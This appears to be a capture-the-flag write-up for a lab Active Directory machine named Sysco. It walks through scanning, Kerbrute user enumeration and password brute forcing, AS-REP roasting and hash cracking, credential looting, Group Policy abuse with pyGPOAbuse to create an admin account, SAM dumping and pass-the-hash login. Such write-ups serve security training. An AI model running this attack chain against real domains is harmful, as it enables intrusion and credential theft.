Scenario: Sysco is a Managed Service Provider that has tasked you to perform an external penetration testing on their active directory domain. You must obtain initial foothold, move laterally and escalate privileges while evading Antivirus detection to obtain administrator privileges.
It is a medium-difficulty Active Directory machine on HackSmarter Labs.
Nmap
At first, we will scan the exposed services using Nmap.
nmap 10.1.100.1 -v -p- -oN nmap/ports_
Nmap scan report for 10.1.100.1
Host is up (0.032s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3389/tcp open ms-wbt-server
9389/tcp open adws
49664/tcp open unknown
49668/tcp open unknown
49681/tcp open unknown
49683/tcp open unknown
49743/tcp open unknown
49813/tcp open unknown
nmap 10.1.100.1 -v -p 53,80,88,135,139,389,445,464,593,636,3268,3389,9389,49664,49668,49681,49683,49743,49813 -A -oN nmap/service_
Nmap scan report for 10.1.100.1
Host is up (0.027s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Index - Sysco MSP
|_http-favicon: Unknown favicon MD5: DD229045B1B32B2F2407609235A23238
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-30 23:15:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL0., Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.SYSCO.LOCAL
| Issuer: commonName=DC01.SYSCO.LOCAL
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-10-17T05:14:51
| Not valid after: 2026-04-18T05:14:51
| MD5: fdbb:6553:3042:be9f:3c1d:15b2:60db:5e1f
|_SHA-1: 017c:b073:a3a7:1843:0ffd:7a2b:184a:c07b:a830:c0a8
|_ssl-date: 2025-10-30T23:16:51+00:00; -2s from scanner time.
| rdp-ntlm-info:
| Target_Name: SYSCO
| NetBIOS_Domain_Name: SYSCO
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SYSCO.LOCAL
| DNS_Computer_Name: DC01.SYSCO.LOCAL
| Product_Version: 10.0.20348
|_ System_Time: 2025-10-30T23:16:11+00:00
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49681/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49683/tcp open msrpc Microsoft Windows RPC
49743/tcp open msrpc Microsoft Windows RPC
49813/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Uptime guess: 0.012 days (since Fri Oct 31 00:00:08 2025)
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Along with the port scan, I also like to use Netexec to see if NTLM auth is allowed or only Kerberoast protocol is allowed to connect to the Active Directory (AD).
└─$ nxc smb 10.1.100.1
SMB 10.1.100.1 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False)
As NTLM Auth is not disabled, we can use password authentication to connect to the AD. Meanwhile, before we start enumerating services, let’s also update our hosts file (/etc/hosts).
10.1.100.1 DCO1 DC01.SYSCO.LOCAL SYSCO.LOCAL
Enumerating Services
As we have no prior credentials, lets start with enumerating the SMB service if anonymous and guest login are allowed.
SMB
└─$ nxc smb 10.1.100.1 -u guest -p ''
SMB 10.1.100.1 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False)
SMB 10.1.100.1 445 DC01 [-] SYSCO.LOCAL\guest: STATUS_ACCOUNT_DISABLED
└─$ nxc smb 10.1.100.1 -u 'notavaliduser' -p ''
SMB 10.1.100.1 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False)
SMB 10.1.100.1 445 DC01 [-] SYSCO.LOCAL\notavaliduser: STATUS_LOGON_FAILURE
We do not have access to any shares without credentials. Let’s enumerate the website on Port 80.
Website Enumeration
Accessing the website through the browser, we see a Sysco MSP website.

The website is a static page with a list of team members and a contact form. The list of team members can be used for username enumeration.

Sending any data to the contact form returns an error so it is not very helpful.

For web enumeration, we can look for subdomains and directory traversal. Vhost fuzzing do not return any new subdomains. However, fuzzing for subdirectories, we get Roundcube endpoint.
└─$ ffuf -u http://sysco.local/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -c -ic
:: Method : GET
:: URL : http://sysco.local/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 23193, Words: 5401, Lines: 574, Duration: 36ms]
assets [Status: 301, Size: 335, Words: 22, Lines: 10, Duration: 29ms]
forms [Status: 301, Size: 334, Words: 22, Lines: 10, Duration: 31ms]
licenses [Status: 403, Size: 419, Words: 37, Lines: 12, Duration: 28ms]
%20 [Status: 403, Size: 300, Words: 22, Lines: 10, Duration: 25ms]
*checkout* [Status: 403, Size: 300, Words: 22, Lines: 10, Duration: 62ms]
phpmyadmin [Status: 403, Size: 419, Words: 37, Lines: 12, Duration: 27ms]
webalizer [Status: 403, Size: 419, Words: 37, Lines: 12, Duration: 26ms]
*docroot* [Status: 403, Size: 300, Words: 22, Lines: 10, Duration: 31ms]
* [Status: 403, Size: 300, Words: 22, Lines: 10, Duration: 30ms]
con [Status: 403, Size: 300, Words: 22, Lines: 10, Duration: 24ms]
http%3a [Status: 403, Size: 300, Words: 22, Lines: 10, Duration: 30ms]
**http%3a [Status: 403, Size: 300, Words: 22, Lines: 10, Duration: 25ms]
*http%3a [Status: 403, Size: 300, Words: 22, Lines: 10, Duration: 31ms]
[Status: 200, Size: 23193, Words: 5401, Lines: 574, Duration: 26ms]
aux [Status: 403, Size: 300, Words: 22, Lines: 10, Duration: 50ms]
%c0 [Status: 403, Size: 300, Words: 22, Lines: 10, Duration: 26ms]
roundcube [Status: 301, Size: 338, Words: 22, Lines: 10, Duration: 26ms]
Accessing the Roundcube endpoints leads to the Roundcube webmail portal.

Roundcube is a web-based IMAP email client that is used to manage emails. Roundcube has a recent RCE(CVE 2025-49113), a critical vulnerability in Roundcube Webmail (versions < 1.5.10 and 1.6.0–1.6.10) that allows authenticated users to perform remote code execution through a PHP object deserialization flaw triggered by improper validation of the _from parameter in program/actions/settings/upload.php. However, as we do not have any valid credentials yet, we cannot do much.
User Enumeration
Coming back to the list of team members, we can make possible combinations of usernames and use Kerbrute to do user validation. For making a list of potential usernames, I will use the username-anarchy. At first, lets create a file with the full names of the team members.
Greg Shields
Sarah Johnson
Jack Dowland
Lainey Moore
Now, we can use this file to create possible usernames.
└─$ ./username-anarchy --input-file ../names.txt >> users.txt
After creating the possible users file, lets validate users using Kerbrute. To enumerate usernames, Kerbrute sends TGT requests with no pre-authentication. If the KDC responds with a PRINCIPAL UNKNOWN error, the username does not exist. However, if the KDC prompts for pre-authentication, we know the username exists and we move on. This does not cause any login failures so it will not lock out any accounts.
└─$ ./kerbrute userenum -d SYSCO.LOCAL --dc 10.1.100.1 users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 10/31/25 - Ronnie Flathers @ropnop
2025/10/31 01:07:09 > Using KDC(s):
2025/10/31 01:07:09 > 10.1.100.1:88
2025/10/31 01:07:09 > [+] VALID USERNAME: greg.shields@SYSCO.LOCAL
2025/10/31 01:07:09 > [+] VALID USERNAME: lainey.moore@SYSCO.LOCAL
2025/10/31 01:07:09 > [+] VALID USERNAME: jack.dowland@SYSCO.LOCAL
2025/10/31 01:07:09 > Done! Tested 58 usernames (3 valid) in 0.173 seconds
We got 3 valid usernames for the domain.
Initial Foothold using Lainey Moore
We can also use Kerbrute to brute force using a password list. I will start with a single user and see if there is any lockout policy for the user. This approach is not recommended for real engagements unless you are sure that there is no account lockout policy. I will start off with user Lainey.Moore.
└─$ ./kerbrute bruteuser -d SYSCO.LOCAL --dc 10.1.100.1 /usr/share/wordlists/rockyou.txt lainey.moore
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 10/31/25 - Ronnie Flathers @ropnop
2025/10/31 02:12:22 > Using KDC(s):
2025/10/31 02:12:22 > 10.1.100.1:88
2025/10/31 02:28:26 > [+] VALID LOGIN: lainey.moore@SYSCO.LOCAL:Ch[...SNIPED...]
2025/10/31 02:28:26 > Done! Tested 59090 logins (1 successes) in 963.963 seconds
I was able to get valid credentials for a user. Let’s validate the credentials using Netexec. I used these credentials to access Roundcube but it resulted in a failed login. Next, I sprayed the password for all users to see if there is any password reuse.
└─$ nxc smb 10.1.100.1 -u valid_users.txt -p 'Ch[..SNIPED..]' --continue-on-success
SMB 10.1.100.1 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False)
SMB 10.1.100.1 445 DC01 [-] SYSCO.LOCAL\greg.shields:Ch[..SNIPED..] STATUS_LOGON_FAILURE
SMB 10.1.100.1 445 DC01 [+] SYSCO.LOCAL\lainey.moore:Ch[..SNIPED..]
SMB 10.1.100.1 445 DC01 [-] SYSCO.LOCAL\jack.dowland:Ch[..SNIPED..] STATUS_LOGON_FAILURE
SMB 10.1.100.1 445 DC01 [-] SYSCO.LOCAL\:Ch[..SNIPED..] STATUS_LOGON_FAILURE
Checking SMB shares that I can access through this user.
└─$ nxc smb 10.1.100.1 -u lainey.moore -p 'Ch[..SNIPED..]' --shares
SMB 10.1.100.1 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False)
SMB 10.1.100.1 445 DC01 [+] SYSCO.LOCAL\lainey.moore:Ch[..SNIPED..]
SMB 10.1.100.1 445 DC01 [*] Enumerated shares
SMB 10.1.100.1 445 DC01 Share Permissions Remark
SMB 10.1.100.1 445 DC01 ----- ----------- ------
SMB 10.1.100.1 445 DC01 ADMIN$ Remote Admin
SMB 10.1.100.1 445 DC01 C$ Default share
SMB 10.1.100.1 445 DC01 IPC$ READ Remote IPC
SMB 10.1.100.1 445 DC01 NETLOGON READ Logon server share
SMB 10.1.100.1 445 DC01 SYSVOL READ Logon server share
This user has access only to default shares.
BloodHound
As we have valid credentials, lets get the BloodHound data to enumerate the domain.
└─$ nxc ldap 10.1.100.1 -u lainey.moore -p 'Ch[..SNIPED..]' --bloodhound --collection all --dns-server 10.1.100.1
LDAP 10.1.100.1 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SYSCO.LOCAL) (signing:None) (channel binding:No TLS cert)
LDAP 10.1.100.1 389 DC01 [+] SYSCO.LOCAL\lainey.moore:Ch[..SNIPED..]
LDAP 10.1.100.1 389 DC01 Resolved collection methods: dcom, objectprops, localadmin, session, acl, container, psremote, trusts, group, rdp
LDAP 10.1.100.1 389 DC01 Done in 0M 7S
LDAP 10.1.100.1 389 DC01 Compressing output into /home/kali/.nxc/logs/DC01_10.1.100.1_2025-10-31_025334_bloodhound.zip
Uploading the zip file to the BloodHound will help us enumerate the domain and see potential attack paths. User - Lainey.Moore is a member of Remote Management Users. We can connect to the machine using any remote desktop client.

User - Greg.Shields is a member of Group Policy Creators Owners. This means we can add/modify or delete group policies.

User - Jack.Dowland has Do not Require Pre-Authentication attribute set to True. This means, we can use as-rep roasting attack to get the user’s hash and attempt to crack it with hashcat.

└─$ nxc ldap 10.1.100.1 -u jack.dowland -p '' --asreproast jack.hash
LDAP 10.1.100.1 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SYSCO.LOCAL) (signing:None) (channel binding:No TLS cert)
LDAP 10.1.100.1 389 DC01 $krb5asrep$23$jack.dowland@SYSCO.LOCAL:54011704ee20397916bfd6f51[...SNIPED....]
I attempted to crack this hash using Hashcat and it got cracked.
└─$ hashcat jack.hash /usr/share/wordlists/rockyou.txt

Jack user credentials worked for Roundcube. In the Sent folder, there is an email sent to Lainey.Moore with an attachment for router configuration.


The router file has a secret value that seems interesting. It is an MD5 encrypted hash. Let’s crack it using Hashcat.

└─$ hashid '$1$mERr$isugnYiHsjHT.i.tc2GDY.'
Analyzing '$1$mERr$isugnYiHsjHT.i.tc2GDY.'
[+] MD5 Crypt
[+] Cisco-IOS(MD5)
[+] FreeBSD MD5
└─$ hashcat '$1$mERr$isugnYiHsjHT.i.tc2GDY.' /usr/share/wordlists/rockyou.txt
The cracked password is the one we initially got using brute forced for user Lainey.Moore. This seems to be the intended way to solve this box. Let’s enumerate the machine by logging in using Lainey.Moore.
Post Exploitation
Logging into the machine using Lainey.Moore gives us the user flag.
└─$ xfreerdp /v:10.1.100.1 /u:lainey.moore /p:'Ch[..SNIPED..]' /dynamic-resolution

Enumeration
After getting the user flag, let’s enumerate the box to see what rights this user has and what interesting files this user can access.
C:\Users\lainey.moore>whoami
sysco\lainey.moore
C:\Users\lainey.moore>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Users> tree /f /a
Folder PATH listing
Volume serial number is 503F-9BB2
C:.
+---Administrator
+---greg.shields
+---lainey.moore
| +---3D Objects
| +---Contacts
| +---Desktop
| | Microsoft Edge.lnk
| | user.txt
| |
| +---Documents
| | notes.txt
| | Putty - HS Router login.lnk
| | putty.exe
| |
| +---Downloads
| +---Favorites
| | | Bing.url
| | |
| | \---Links
| +---Links
| | Desktop.lnk
| | Downloads.lnk
| |
| +---Music
| +---Pictures
| +---Saved Games
| +---Searches
| \---Videos
\---Public
+---Documents
+---Downloads
+---Music
+---Pictures
\---Videos
PS C:\Users>
PS C:\Users\lainey.moore\Documents> cat notes.txt
-Ssh to the 10.0.0.1 router with credentials provided by sysadmin to update ACLs for HS company
-Fix errors in config provided by tier 1 for Minicorp's new office router
The Putty files in the Documents folder looks interesting. Looking at the properties for the Putty - HS Router login.lnk gives us a password.

Spraying the password against the users shows that it works for the user Greg.Shields. This user is a member of Group Policy Creater Owners who can modify Group Policies.
└─$ nxc smb 10.1.100.1 -u valid_users.txt -p '5[..SNIPED..]' --continue-on-success
SMB 10.1.100.1 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False)
SMB 10.1.100.1 445 DC01 [+] SYSCO.LOCAL\greg.shields:5[..SNIPED..]
SMB 10.1.100.1 445 DC01 [-] SYSCO.LOCAL\lainey.moore:5[..SNIPED..] STATUS_LOGON_FAILURE
SMB 10.1.100.1 445 DC01 [-] SYSCO.LOCAL\jack.dowland:5[..SNIPED..] STATUS_LOGON_FAILURE
Abusing Group Policy
As the Windows Defender is enabled, we cannot upload PowerView or SharpGPOAbuse.exe to create a new Group Policy. Hacker Recipes gives a list of tools that can be used to abuse this. I used pyGPOAbuse. It creates a scheduled Task to create a new local administrator with john:H4x00r123.. as the credentials.
└─$ git clone https://github.com/Hackndo/pyGPOAbuse.git
Cloning into 'pyGPOAbuse'...
remote: Enumerating objects: 137, done.
remote: Counting objects: 100% (100/100), done.
remote: Compressing objects: 100% (46/46), done.
remote: Total 137 (delta 71), reused 68 (delta 54), pack-reused 37 (from 1)
Receiving objects: 100% (137/137), 1.14 MiB | 7.18 MiB/s, done.
Resolving deltas: 100% (77/77), done.
└─$ cd pyGPOAbuse
└─$ python3 -m venv .venv
└─$ source .venv/bin/activate
└─$ python3 -m pip install -r requirements.txt
└─$ python3 pygpoabuse.py sysco.local/greg.shields -gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' -v
Password:
[x] The GPO already includes a ScheduledTasks.xml.
[x] Use -f to append to ScheduledTasks.xml
[x] Use -v to display existing tasks
[!] C: Create, U: Update, D: Delete, R: Replace
[!] [C] TASK_ec5c41fd (Type: ImmediateTaskV2)
Once the command is executed, we can check if the credentials work using Netexec. Netexec shows Pwn3d!, meaning we own this box now. We can login using these credentials to get the root flag, or we can dump the SAM to get the Administrator hash.
└─$ nxc smb 10.1.100.1 -u john -p 'H4x00r123..'
SMB 10.1.100.1 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False)
SMB 10.1.100.1 445 DC01 [+] SYSCO.LOCAL\john:H4x00r123.. (Pwn3d!)
└─$ nxc smb 10.1.100.1 -u john -p 'H4x00r123..' --sam
SMB 10.1.100.1 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False)
SMB 10.1.100.1 445 DC01 [+] SYSCO.LOCAL\john:H4x00r123.. (Pwn3d!)
SMB 10.1.100.1 445 DC01 [*] Dumping SAM hashes
SMB 10.1.100.1 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:[..SNIPED..]:::
SMB 10.1.100.1 445 DC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.1.100.1 445 DC01 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
└─$ evil-winrm -i 10.1.100.1 -u Administrator -H '[..SNIPED..]'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2025 7:48 PM 2308 Microsoft Edge.lnk
-a---- 10/18/2025 11:10 PM 32 root.txt
After getting the Administrator hash, we can log in to the box using Administrator hash to get the root flag. Thanks for reading along, and I hope you found it helpful!